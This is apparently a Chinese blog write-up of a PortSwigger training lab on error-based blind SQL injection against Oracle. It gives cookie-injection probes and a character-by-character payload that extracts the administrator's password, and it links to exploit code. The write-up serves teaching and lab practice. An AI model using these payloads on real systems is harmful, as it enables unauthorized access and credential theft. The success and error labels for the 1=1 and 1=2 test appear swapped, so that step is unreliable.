【PortSwiggerのWeb Security Academy靶场】SQL Injection系列 10th

1,150 阅读1分钟

Subject

Lab: Blind SQL injection with conditional errors

Url: portswigger.net/web-securit…


Mind Palace

不论如何点击,带与不带cookie,页面(HTTP response)是没有任何变化的;那么我们尝试让他报点错

双引号正常回显 ==> 验证了TrackingId是注入点,并且可以通过报错信息进行帮助的condition判断

后续:

id' ==> Error
id'' ==> Error
id'||(select '')||' ==> Error
id'||(select '' from dual)||' ==> 正常回显 ==> Oracle数据库
id'||(select '' from qweasdzxc)||' ==> 不存在的table-name ==> Error ==> 注入点可用,利用方式:引出报错的盲注

'||(select '' from users where rownum=1)||'
'||(select '' from users where username='administrator')||'
==> 证明users表,username的administrator账户的存在
# 或 官方解法:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

id'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' ==> Success
id'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' ==> Error
==> 可以利用case语句和to_char(1/0)来制造报错

# 核心payload
id'||(select case when ascii(substr(password,{i},1))>{mid} then to_char(1/0) else '' end from users where username='administrator')||'
# 注:这里用substring没效果,使用substr 
# ==> 获得administrator账户密码

exp代码

gitee.com/eclipse-ten…


END (づ。◕‿‿◕。)づ